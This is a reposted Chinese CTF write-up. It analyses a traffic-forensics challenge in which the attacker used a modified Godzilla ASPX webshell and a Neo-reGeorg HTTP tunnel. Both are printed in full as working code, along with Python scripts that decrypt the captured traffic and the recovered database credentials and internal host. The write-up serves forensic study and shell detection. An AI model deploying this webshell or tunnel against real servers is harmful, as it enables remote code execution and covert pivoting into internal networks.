2025某集团ctf决赛-谁知盘中餐

作者:Cloud Security lab 发布:2025-12-05 10:21 收录:2026-09-16 08:32 1 次阅读 约 3093 字
摘要:电信的小伙伴给了两道ctf说帮忙看看,感觉挺有意思的,这里简单记录一下。
推荐理由:本文涵盖「CTF」、「Neo-reGeorg」、「HTTP隧道」等多个主题,重点关注 CTF。

 

电信的小伙伴给了两道ctf说帮忙看看,感觉挺有意思的,这里简单记录一下。

谁知盘中餐

开局给到一个三个文件

csv不知道是什么设备导出的流量,两个文件,一个是木马一个是http隧道,Neo-reGeorg的,

先来看木马

<%Type cT = Context.GetType();PropertyInfo rP = cT.GetProperty(GetStr(0));string rT = (string)rP.GetValue(Context, null).GetType().GetProperty(GetStr(1)).GetValue(rP.GetValue(Context,null),null);if (rT.Equals(GetStr(2))){try {string key=GetStr(3);string initVector=GetStr(4);object reqst=rP.GetValue(Context, null);PropertyInfo itemProperty=reqst.GetType().GetProperty(GetStr(5));string sdata=(string)itemProperty.GetValue(reqst,new object[]{GetStr(6)});string sdatac=(string)itemProperty.GetValue(reqst,new object[]{"flag"});if(sdatac != null &&sdatac.Contains("tungtungtungsahur")){Context.Application["sfavlaunch"] = null;Context.Response.Write("OK");return;}byte[] data=RD(sdata);data=new RijndaelManaged().CreateDecryptor(Encoding.Default.GetBytes(key),Encoding.Default.GetBytes(initVector)).TransformFinalBlock(data,0,data.Length);if(Context.Application["sfavlaunch"] == null) {MethodInfo methodInfo = typeof(Assembly).GetMethod(GetStr(7), new System.Type[] { typeof(byte[]) });object result = methodInfo.Invoke(null, new object[] { data });Assembly assembly = (Assembly)result;Context.Application["sfavlaunch"] = assembly;}else{System.IO.MemoryStream outStream =new System.IO.MemoryStream();Assembly a=(Assembly)Context.Application["sfavlaunch"];object o=a.CreateInstance(GetStr(8));o.Equals(outStream);o.Equals(data);o.ToString();byte[] r=outStream.ToArray();string sign=RE(new RijndaelManaged().CreateEncryptor(Encoding.Default.GetBytes(key),Encoding.Default.GetBytes(initVector)).TransformFinalBlock(r, 0, r.Length));Context.Response.Write("{\"msg\":\""+sign+"\"}");}}catch(System.Exception){Context.Response.Write("{\"Error\":\"Password Error\"}}");}}else{Context.Response.Write("{\"Error\":\"Unauthorized\"}}");}%><script runat="server">public static string RE(byte[] bytes) {byte[] tmp = bytes;int num = 1;if (bytes.Length > 512000) {num = 1;} else {Random rnd = new Random();num = rnd.Next(2, 10);}for (int i = 0; i < num; i++) {tmp = Encoding.UTF8.GetBytes("sign:" + Reverse(B64e(tmp)));}tmp = Encoding.UTF8.GetBytes(B64e(tmp));return Encoding.UTF8.GetString(tmp);}public static byte[] RD(string str) {byte[] tmp = B64d(str);while (Encoding.UTF8.GetString(tmp).StartsWith("sign:")) {tmp = B64d(Reverse(Encoding.UTF8.GetString(tmp).Substring(5)));}return tmp;}public static string B64e(byte[] byteArray) {Type convertType = typeof(Convert);MethodInfo tBSM = convertType.GetMethod(GetStr(9), new Type[] { typeof(byte[]) });string base64String = (string)tBSM.Invoke(null, new object[] { byteArray });return base64String;}public static byte[] B64d(string bs) {Type convertType = typeof(Convert);MethodInfo fBSM = convertType.GetMethod(GetStr(10), new Type[] { typeof(string) });byte[] byteArray = (byte[])fBSM.Invoke(null, new object[] { bs });return byteArray;}public static string Reverse(string s) {char[] charArray = s.ToCharArray();Array.Reverse(charArray);return new string(charArray);}public static String GetStr(int x) {String[] xs = new String[]{"Uhtxhvw", "UhtxhvwWbsh", "SRVW", "79ehf9e8470119i5", "9220gf6228514959", "Lwhp", "orjlqFd", "Ordg", "OB", "WrEdvh64Vwulqj", "IurpEdvh64Vwulqj"};return kdecrypt(xs[x], 3);}public static  String kencrypt(string text, int shift){return ProcessText(text, shift);}public static String  kdecrypt(string text, int shift){return ProcessText(text, 26 - shift);}private static string ProcessText(string text, int shift){char[] buffer = text.ToCharArray();for (int i = 0; i < buffer.Length; i++){char letter = buffer[i];if (char.IsLetter(letter)){char baseChar = char.IsLower(letter) ? 'a' : 'A';letter = (char)((letter - baseChar + shift) % 26 + baseChar);}buffer[i] = letter;}return new string(buffer);}</script><%@Language=cs%><%@Import Namespace="System.Reflection"%><%@Import Namespace="System.Text"%><%@Import Namespace="System.Security.Cryptography"%>
这个木马看起来很乱,其实核心功能就两个点,有小伙伴在打战的时候应该见过这个🐎,这是一个二开的哥斯拉的🐎,但是应该不是什么公开版本,应该是小圈子在使用,

如果你在打战的时候或者应急的时候,直接访问这个马,见到{"Error":"Unauthorized"}}说明是这个了。好的,此时我们来分析木马。

这个马看起来很长,其实都是 假的,核心在<script 中,上面都是混淆,数组取字符串啥的。
扣除了之后是
大概这个样子,这里 ,多看webshell的同学应该能想到,其中这两个数字应该是key,iv,是的,但是并不是完全对,我们看GetStr 函数 最后return是,调用的kdecrypt函数,传了两个参数一个xs[x],一个3,先看前面这个xs的x 也就是这个数组的3 x是多少呢
所有的代码中,可以看到string key=GetStr(3);stringinitVector=GetStr(4); key为3 iv为4,"79ehf9e8470119i5", "9220gf6228514959",这俩就是,在看

decrypt函数输调用了 ProcessText函数,ProcessText是凯撒,也就是偏移3,也就是说将"79ehf9e8470119i5", "9220gf6228514959"-3即可,凯撒只减字母,不减数字, key = b'79bec9b8470119f5,iv = b'9220dc6228514959'

接下来看马工作流程
这里最后调用re函数,进行aes加密,re函数 就是

简单来说就是 ,如果传的>512000就不在循环,应该怕传输数据太多了,否则就进行循环并字符串反转,啥意思呢,拿个代码来解释,原始数据

AuthType=apiLogin&name=sysadmin&loginCa=c2lnbjo9TW1NczVtWXE5V01YVlVNdlJXVjVnM1ZyUkdlWGhsU0lObVZHSjBUVmxqU1hoa1ZDWmxhU1ZVVEk1a1ZVMUdkb05HTXgwMFN3UTJVT3RHYkxSbE0xQW5UNnAwTVBaRmJ4d2tlR056WXIxa01PcEdieFJtUkN4bVlIeG1XWGRFWng4RVZLTlhVcUoxU2hoa1N4bDFWS2xIWlZobVRrQmpVNXhrZWtCbFVWWlZTT3BuUXUxVVIxUWxWcTVrVmxwbVNWTjFST2hVWXJKMVNTUmxTaFJWVkdCMVVXbFVlaFZWVzVWMVU1c1dZeEkwVlJKVFV5SW1hRk5EWkd4MmJUQmpTd1VGVnNwRlpWQjNkVEJUVjFVRlZCSmpXR3BrVmtSMGF3UTFVMEZHVnJOWE1UVkVkelVHU29aVlpIaFRla2RsVlkxRVdPRmxVWEZqUU5OalF4TWxWV1pWVVhGelROVjFiOW9qYm5sMmM=

只要loginca
明显base64 反转了,就按这个一直反转
一直接解
代码中是,有sign就一直解,最后一次解aes。

后面还有一个gunzip。就可以解出来了,这里简单写一个脚本

import base64
import gzip
from io import BytesIO
from Crypto.Cipher import AES

defdecrypt(encoded: str) -> bytes:
    """
    还原 C# RD() 逻辑:
      Base64 → sign: 循环解包 → reverse → Base64 ……
    """

    tmp = base64.b64decode(encoded)

    whileTrue:
        s = tmp.decode("utf-8", errors="ignore")
        ifnot s.startswith("sign:"):
            break

        inner = s[5:]          # 去 sign:
        inner = inner[::-1]    # reverse
        tmp = base64.b64decode(inner)
        #print("sign 解包中: ", tmp)

    return tmp


defdecrypt_and_gunzip(cipher_raw: bytes, key: bytes, iv: bytes) -> bytes:
    """
    AES-128-CBC 解密 + 去 padding + gunzip
    """


    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(cipher_raw)

    # Remove PKCS7 padding
    pad = plaintext[-1]
    plaintext = plaintext[:-pad]

    # Gunzip
    buf = BytesIO(plaintext)
    decompressed = gzip.GzipFile(fileobj=buf).read()

    return decompressed



# ======================
# Main
# ======================
if __name__ == "__main__":
    ciphertext = "c2lnbjo9TW1NczVtWXE5V01YVlVNdlJXVjVnM1ZyUkdlWGhsU0lObVZHSjBUVmxqU1hoa1ZDWmxhU1ZVVEk1a1ZVMUdkb05HTXgwMFN3UTJVT3RHYkxSbE0xQW5UNnAwTVBaRmJ4d2tlR056WXIxa01PcEdieFJtUkN4bVlIeG1XWGRFWng4RVZLTlhVcUoxU2hoa1N4bDFWS2xIWlZobVRrQmpVNXhrZWtCbFVWWlZTT3BuUXUxVVIxUWxWcTVrVmxwbVNWTjFST2hVWXJKMVNTUmxTaFJWVkdCMVVXbFVlaFZWVzVWMVU1c1dZeEkwVlJKVFV5SW1hRk5EWkd4MmJUQmpTd1VGVnNwRlpWQjNkVEJUVjFVRlZCSmpXR3BrVmtSMGF3UTFVMEZHVnJOWE1UVkVkelVHU29aVlpIaFRla2RsVlkxRVdPRmxVWEZqUU5OalF4TWxWV1pWVVhGelROVjFiOW9qYm5sMmM="
    key = b'79bec9b8470119f5'
    iv  = b'9220dc6228514959'

    # sign: 解包
    stage1 = decrypt(ciphertext)
    # print("sign 解包结果:", stage1)

    # AES + gunzip
    final = decrypt_and_gunzip(stage1, key, iv)
    print("最终解密结果:\n", final.decode(errors="ignore"))

#dbUsernamedishexecSql&SELECT * FROM `dish`.`card` LIMIT 0,10dbTypemysqlmethodNameexecSqldbCharsetUTF-8sessionIdbf405e2fd97cddd3execTyp
selectconnectStringFserver=127.0.0.1;port=3301;uid=dish;pwd=Sovell$))!79959;database=dish;dbPasswordSovell$))!79959dbDriver&MySql.Data.MySqlCl
ient.MySqlConnection

这样就方便了一些。这里不太清楚题目是啥,ip 端口 账号密码已经得到,大概这些吧。继续往下分析。

给了一个代理的文件,是http的隧道,Neo-reGeorg的,

<%@ Page Language="C#" EnableSessionState="True"%>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Collections" %>
<script runat="server">
     privatestaticchar[] constant =
      {
        '0','1','2','3','4','5','6','7','8','9',
        'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
        'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'
      };
    static String en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    static String de = "o5n/OZUfAMhHmcyXK9wD1uvgdEQ64sBGlbTxqLRC2+YJk3zj8trWNVIiSe7pFPa0";

    public static String StrTr(string input, string frm, string to) {
        String r = "";
        for(int i=0; i< input.Length; i++) {
            int index = frm.IndexOf(input[i]);
            if(index != -1)
                r += to[index];
            else
                r += input[i];
        }
        return r;
    }

    public static Object[] blv_decode(byte[] data) {
        Object[] info = new Object[40];

        int i = 0;
        int data_len = data.Length;
        int b;
        byte[] length = newbyte[4];

        MemoryStream dataInput = new MemoryStream(data);

        while ( i < data_len ) {
            b = dataInput.ReadByte();
            dataInput.Read(length, 0, length.Length);
            int l = bytesToInt(length) - 257191907;
            byte[] v = newbyte[l];
            dataInput.Read(v, 0, v.Length);
            i += ( 5 + l );
            if ( b > 1 && b <= 9 ) {
                info[b] = Encoding.Default.GetString(v);
            } else {
                info[b] = v;
            }
        }

        return info;
    }

    public static byte[] blv_encode(Object[] info) {
        Random r = new Random();
        info[0]  = randBytes(r, 20256);
        info[39] = randBytes(r, 20256);
        MemoryStream buf = new MemoryStream();
        for (int b = 0; b < info.Length; b++) {
            if ( info[b] != null ) {
                Object o = info[b];
                byte[] v;
                if ( o is String ){
                    v = Encoding.Default.GetBytes( (String) o );
                } else {
                    v = (byte[]) o;
                }
                buf.WriteByte((byte) b);
                try {
                    byte[] l = intToBytes(v.Length + 257191907);
                    buf.Write(l, 0, l.Length);
                    buf.Write(v, 0, v.Length);
                }catch(Exception e) {
                }
            }
        }
        return buf.ToArray();
    }
    public static byte[] randBytes(Random r, int min, int max) {
        int len = r.Next(min, max);
        byte[] randbytes = newbyte[len];
        r.NextBytes(randbytes);
        return randbytes;
    }

    public static int bytesToInt(byte[] bytes) {
        int i;
        i =   (  bytes[3] & 0xff )
            | (( bytes[2] & 0xff ) << 8 )
            | (( bytes[1] & 0xff ) << 16)
            | (( bytes[0] & 0xff ) << 24);
        return i;
    }

    public static byte[] intToBytes(int value) {
        byte[] src = newbyte[4];
        src[3] = (byte) (value & 0xFF);
        src[2] = (byte) ((value >> 8) & 0xFF);
        src[1] = (byte) ((value >> 16) & 0xFF);
        src[0] = (byte) ((value >> 24) & 0xFF);
        return src;
    }
    public static String padding(String input){
        int a = input.Length % 4;
        if (a != 0)
        {
            StringBuilder inputBuilder = new StringBuilder(input);
            for (int i = 0; i < 4 - a; i++)
            {
                inputBuilder.Append("=");
            }
            input = inputBuilder.ToString();
        }
        return input;
    }
    public static byte[] FromBase64String(string b64Str) {
        b64Str = b64Str.Substring(1).Replace(",""+").Replace(".""/").Replace("}""=");
        b64Str = padding(b64Str);
        b64Str = StrTr(b64Str, de, en);
        return Convert.FromBase64String(b64Str);
    }
    public static string ToBase64String(byte[] data) {
        string b64Str = Convert.ToBase64String(data);
        b64Str = StrTr(b64Str, en, de);
        b64Str = b64Str.TrimEnd(newchar[1]{'='});
        b64Str = GenerateRandomNumber(1) + b64Str.Replace("+"",").Replace("/"".").Replace("=""}");
        return b64Str;
    }


    public static string GenerateRandomNumber(int Length)
    {
        System.Text.StringBuilder newRandom = new System.Text.StringBuilder(62);
        Random rd = new Random();
        for (int i = 0; i < Length; i++)
        {
            newRandom.Append(constant[rd.Next(62)]);
        }
        return newRandom.ToString();
    }
</script>
<%
    int DATA          = 1;
    int CMD           = 2;
    int MARK          = 3;
    int STATUS        = 4;
    int ERROR         = 5;
    int IP            = 6;
    int PORT          = 7;
    int REDIRECTURL   = 8;
    int FORCEREDIRECT = 9;
    
    String GeorgHello = "eMnKqMfb3cv,EvxK8EIqzyUc1QntO9CEMvqOiuRcbDCsJEC5CBUtu6i2e6.s8mRb.4ZMiwZ5KcI,S6ZEi6fqSMnKqMo";

    Object[] info  = new Object[40];
    Object[] rinfo = new Object[40];
    if (Request.ContentLength != -1 && Request.ContentLength != 0) {
        byte[] buff = newbyte[Request.ContentLength];
        Request.InputStream.Read(buff, 0, buff.Length);
        string b64 = Encoding.Default.GetString(buff);
        byte[] data = FromBase64String(b64);
        info = blv_decode(data);
    }

    String rUrl = (String) info[REDIRECTURL];        
    if (rUrl != null){
        Uri u = new Uri(rUrl);
        WebRequest request = WebRequest.Create(u);
        request.Method = Request.HttpMethod;
        foreach (string key in Request.Headers)
        {
            try{
                request.Headers.Add(key, Request.Headers.Get(key));
            } catch (Exception e){}
        }
        try{
            Stream body = request.GetRequestStream();
            info[REDIRECTURL] = null;
            byte[] data = Encoding.Default.GetBytes(ToBase64String(blv_encode(info)));
            body.Write(data, 0, data.Length);
            body.Close();
        } catch (Exception e){}

        HttpWebResponse response = (HttpWebResponse)request.GetResponse();
        WebHeaderCollection webHeader = response.Headers;
        for (int i=0;i < webHeader.Count; i++)
        {
            string rkey = webHeader.GetKey(i);
            if (rkey != "Content-Length" && rkey != "Transfer-Encoding")
                Response.AddHeader(rkey, webHeader[i]);
        }
        StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("UTF-8"));
        string rbody = repBody.ReadToEnd();
        Response.AddHeader("Content-Length", rbody.Length.ToString());
        Response.Write(rbody);
        return;
    }
    Response.StatusCode = 200;
    String cmd = (String) info[CMD];
    if (cmd != null) {
        String mark = (String) info[MARK];
        if (cmd == "CONNECT") {
            try {
                String target = (String) info[IP];
                int port = int.Parse((String) info[PORT]);
                IPAddress ip;
                try {
                    ip = IPAddress.Parse(target);
                } catch (Exception ex) {
                    IPHostEntry host = Dns.GetHostByName(target);
                    ip = host.AddressList[0];
                }
                System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port);
                Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

                // set the connect timeout to 2 seconds, default 20 seconds
                IAsyncResult result = sender.BeginConnect(remoteEP,null,null);
                bool success = result.AsyncWaitHandle.WaitOne( 2000true );

                if ( sender.Connected ) {
                    sender.Blocking = false;
                    Application.Add(mark, sender);
                    rinfo[STATUS] = "OK";
                } else {
                    sender.Close();
                    rinfo[STATUS] = "FAIL";
                    if ( success ) {
                        rinfo[ERROR] = "Port close";
                    } else {
                        rinfo[ERROR] = "Port filtered";
                    }
                }
            } catch (Exception ex) {
                rinfo[STATUS] = "FAIL";
                rinfo[ERROR] = ex.Message;
            }
        } elseif (cmd == "DISCONNECT") {
            try {
                Socket s = (Socket)Application[mark];
                s.Close();
            } catch (Exception ex){
            }
            Application.Remove(mark);
        } elseif (cmd == "FORWARD") {
            Socket s = (Socket)Application[mark];
            try {
                s.Send((byte[]) info[DATA]);
                rinfo[STATUS] = "OK";
            } catch (Exception ex) {
                rinfo[STATUS] = "FAIL";
                rinfo[ERROR] = ex.Message;
            }
        } elseif (cmd == "READ") {
            try {
                Socket s = (Socket)Application[mark];
                int maxRead = 524288;
                int readbuflen = 513;
                int readLen = 0;
                byte[] readBuff = newbyte[readbuflen];
                MemoryStream readData = new MemoryStream();
                try {
                    int c = s.Receive(readBuff);
                    while (c > 0) {
                        byte[] newBuff = newbyte[c];
                        System.Buffer.BlockCopy(readBuff, 0, newBuff, 0, c);
                        string b64 = ToBase64String(newBuff);
                        readData.Write(newBuff, 0, c);
                        readLen += c;
                        if (c < readbuflen || readLen >= maxRead)
                            break;
                        c = s.Receive(readBuff);
                    }
                    rinfo[DATA] = readData.ToArray();
                    rinfo[STATUS] = "OK";
                } catch (SocketException ex) {
                    rinfo[STATUS] = "OK";
                }
            } catch (Exception ex) {
                rinfo[STATUS] = "FAIL";
                rinfo[ERROR] = ex.Message;
            }
        }
        Response.Write(ToBase64String(blv_encode(rinfo)));
    } else {
        Response.Write(Encoding.Default.GetString(FromBase64String(GeorgHello)));
    }
%>

流量只有一条,我们来看下其中做了什么

发送:PooP14Atcdv3WDZuWyfM9sIVuBfET4uOrDu9rcRti1f2W4fuYsgb86W98uREEvUVtQU9DdqANBZ9n1uLimNONwNmemOdIEC2r1q,MsW5Dvg,imIqScfLbwxLwcCLtKu,H4.s8vOZM4.Ki4g5mKxK8DV2rd1tYKLE5mNsAdum8sqMSDvcAmqZLcgcTcuZZwOZ7mWqesibfcvMT1uZbciMDsL5kwC9uBucX9OMxvqc.olP16a,.DNey91c1o8P160ON6weXsUVO41e3uIKWd8dXuU08mDozmDKSHxAVcnStc84XuU0CcxO8mn4Xufnr9DLNwqmNsR,SKi,kdR,Q6vegQqFVD19U4qP3duE54W5msZoiwV9i61,36qcZug,m4.L9KucnwVsgvZsDQNetuCMj1Lo8v1V5KVL14WbImvtD9CZS41VywVA8sRsydRcxDZ5xB1cb9.L8cRLysNu7ExbbmRVOs1mi6fLuwVbw6ZoVvLcn9fuTyuMeQDmeuxKVB.cwQvk8wIeJ1usZsZcucVKiEV4S1RPQ4qbRcfurdDE7Qq,mvvtymusDDNVn9L9MwOeq1fMb9Csfmiuw9UER

返回:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Tue, 01 Jul 2025 02:19:40 GMT
Connection: close
Content-Length: 393

vooP14US1yJGbFJVo05Jlw.Zy5Od9Ij7ct4EllCotki0tQ9gpJOm7Jyp3W.8jfXeWHY.YDZbaUJX,3UpF3Hbfk.SaDeAOeMjzZZsdA8ingYxfpZXX9R4R4qPTOjxuXG4V,bWPFmVJ6NqO0.4oMjQLMVgZcmbqBUCgZPt.23UxUcEGACittUi6viNhrqqjMqtd5oP16auXwr4Xuf5377AXnn09H6ALIGoCWfbbeUUloiRWdzGYI13QJ9a2Fd0JeydonmN81OFaCeDYmpn9Qvgyb1xBndTpMn0xsSnwGyblXyT9dczD4Hm,smcD07v6rOyeIR3f.c,B9ByBDsCXJnhJTjGfooThybvu3EgOErvhwhSFIhMFUwFcmtjiPnHEvkTbYfv3NF47
乍一看不是base64 其实就是base64
在代理中的代码将+ / = 替换了。然后 base64 换表
这样就解出来流量了,立体一点,脚本
import base64

# 标准 Base64 表
en = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

# 自定义 Base64 表(你的 de 表)
de = "o5n/OZUfAMhHmcyXK9wD1uvgdEQ64sBGlbTxqLRC2+YJk3zj8trWNVIiSe7pFPa0"

defdecode_custom_base64(s):
    # 去掉首字符
    s = s[1:]

    # 字符替换:混淆 → 原始 Base64 字符
    s = s.replace(",""+").replace(".""/").replace("}""=")
   # print(s)
    # 替换表解码:自定义Base64 → 标准Base64
    normal = []
    for ch in s:
        if ch == "=":      # padding
            normal.append("=")
        else:
            idx = de.index(ch)
            normal.append(en[idx])

    normal_b64 = "".join(normal)
    # print(normal_b64)
    # Base64 解码
    return base64.b64decode(normal_b64)


# ---------- 解码你的 GeorgHello ----------
cipher = "PooP14Atcdv3WDZuWyfM9sIVuBfET4uOrDu9rcRti1f2W4fuYsgb86W98uREEvUVtQU9DdqANBZ9n1uLimNONwNmemOdIEC2r1q,MsW5Dvg,imIqScfLbwxLwcCLtKu,H4.s8vOZM4.Ki4g5mKxK8DV2rd1tYKLE5mNsAdum8sqMSDvcAmqZLcgcTcuZZwOZ7mWqesibfcvMT1uZbciMDsL5kwC9uBucX9OMxvqc.olP16a,.DNey91c1o8P160ON6weXsUVO41e3uIKWd8dXuU08mDozmDKSHxAVcnStc84XuU0CcxO8mn4Xufnr9DLNwqmNsR,SKi,kdR,Q6vegQqFVD19U4qP3duE54W5msZoiwV9i61,36qcZug,m4.L9KucnwVsgvZsDQNetuCMj1Lo8v1V5KVL14WbImvtD9CZS41VywVA8sRsydRcxDZ5xB1cb9.L8cRLysNu7ExbbmRVOs1mi6fLuwVbw6ZoVvLcn9fuTyuMeQDmeuxKVB.cwQvk8wIeJ1usZsZcucVKiEV4S1RPQ4qbRcfurdDE7Qq,mvvtymusDDNVn9L9MwOeq1fMb9Csfmiuw9UER"
#cipher = "vooP14US1yJGbFJVo05Jlw.Zy5Od9Ij7ct4EllCotki0tQ9gpJOm7Jyp3W.8jfXeWHY.YDZbaUJX,3UpF3Hbfk.SaDeAOeMjzZZsdA8ingYxfpZXX9R4R4qPTOjxuXG4V,bWPFmVJ6NqO0.4oMjQLMVgZcmbqBUCgZPt.23UxUcEGACittUi6viNhrqqjMqtd5oP16auXwr4Xuf5377AXnn09H6ALIGoCWfbbeUUloiRWdzGYI13QJ9a2Fd0JeydonmN81OFaCeDYmpn9Qvgyb1xBndTpMn0xsSnwGyblXyT9dczD4Hm,smcD07v6rOyeIR3f.c,B9ByBDsCXJnhJTjGfooThybvu3EgOErvhwhSFIhMFUwFcmtjiPnHEvkTbYfv3NF47"
raw = decode_custom_base64(cipher)
import struct

defblv_decode(data: bytes):
    info = [None] * 40

    i = 0
    data_len = len(data)

    ptr = 0
    while ptr < data_len:
        b = data[ptr]
        ptr += 1

        # 读取 4 字节长度
        l_bytes = data[ptr:ptr+4]
        ptr += 4

        # 大端整数
        l = struct.unpack(">I", l_bytes)[0] - 257191907

        # 内容
        v = data[ptr:ptr+l]
        ptr += l

        i += (5 + l)

        # Java: if ( b > 1 && b <= 9 ) → 当 b=2~9 时解码为字符串
        if1 < b <= 9:
            info[b] = v.decode(errors="ignore")
        else:
            info[b] = v

    return info


# -----------------------------------------------------
# 解码你的数据
# -----------------------------------------------------


info = blv_decode(raw)

for idx, value inenumerate(info):
    if value isnotNone:
        print(f"[{idx}]  {value}")

#print("解码结果:", plain)

[0]  b'MaksLUs8rQwmUxvbqQ2MTr6lwPz3pujuxpo4pVfYXmqhdSbB4xTBQYw3A4KC90F6fz2RJIw0SYzw3i84yaJ9R6yqAZKp7pXAIp47qpLB40OZ2aLjBVA3GHaS0vBxMcH2Ae5sb5QEHAz399wxG5bbQQa7rSvPlJtUySODBcZCC'
[2]  CONNECT
[3]  4m.OtmDqNmWd3c
[6]  10.148.254.17
[7]  6100
[39]  b'E9tJC4vjxCzlbjZmnWjO5MDFrOmaVAs0LtP7KTwmJmnCEUzLp9QASBKWWXWSkNqVroRP0YMACYTs8v1lSFqxqMNKR0vgNbccLPcyCaD9p6iNwEzf8a2mDuC7lyUKXRlP5ZSBDub9Ryi39V45x3Rik0KnkQWEtSU7T7gW8RoZrHf4ura6zjJLYlN1WSOMBFTIHNdPraFwG3uRDff'

小伙伴说,他也不记得这个问题问的啥了,有小伙伴知道的,告诉弟弟一下。这里没有解密[0] 和[39] 题目中应该不涉及,还有就是regeorg没有给key,后面在仔细分析,做题够用了。

最后一问是木马的路径,

最后一个包输木马的,看下传递信息,

c2lnbjo9TW1NczVtWXE5V01YVlVNdlJXVjVnM1ZyUkdlWGhsU0lObVZHSjBUVmxqU1hoa1ZDWmxhU1ZVVEk1a1ZVMUdkb05HTXgwMFN3UTJVT3RHYkxSbE0xQW5UNnAwTVBaRmJ4d2tlR056WXIxa01PcEdieFJtUkN4bVlIeG1XWGRFWng4RVZLTlhVcUoxU2hoa1N4bDFWS2xIWlZobVRrQmpVNXhrZWtCbFVWWlZTT3BuUXUxVVIxUWxWcTVrVmxwbVNWTjFST2hVWXJKMVNTUmxTaFJWVkdCMVVXbFVlaFZWVzVWMVU1c1dZeEkwVlJKVFV5SW1hRk5EWkd4MmJUQmpTd1VGVnNwRlpWQjNkVEJUVjFVRlZCSmpXR3BrVmtSMGF3UTFVMEZHVnJOWE1UVkVkelVHU29aVlpIaFRla2RsVlkxRVdPRmxVWEZqUU5OalF4TWxWV1pWVVhGelROVjFiOW9qYm5sMmM

这里你会发现 1111.xls.aspx 和Template.aspx 的key和iv是相同的,那么说明应该是一个文件,而且这个操作是copy文件destFileName*D:/sovell2/api/ExcelTemplate/Template.aspxmethodNamemoveFilesessionId99eb31ed466a5e42srcFileName*D:/sovell2/api/ExcelTemplate/11 11.xls.aspx
这里就把题目中涉及到的问题都分析了,小伙伴说不记得大概题目是啥了,有知道的小伙伴告知一下。
这里又一次见到了这个木马,说明实战中还是挺多人用的,特征还是 上面提到的

访问显示 {"Error":"Unauthorized"}}

什么,你说想研究一下,附件已放到我的博客,直接下载即可,https://bohemian.top/images/谁知盘中餐.zip

致谢

最后感谢您读到这里,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。如果您感觉文章写的不错,帮笔者点给公众号点点关注,先谢谢大家了。

emmm 太菜了
一直在路上

 


转载声明:本文转载自原发布平台 (作者:Cloud Security lab), 原文标题《2025某集团ctf决赛-谁知盘中餐》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。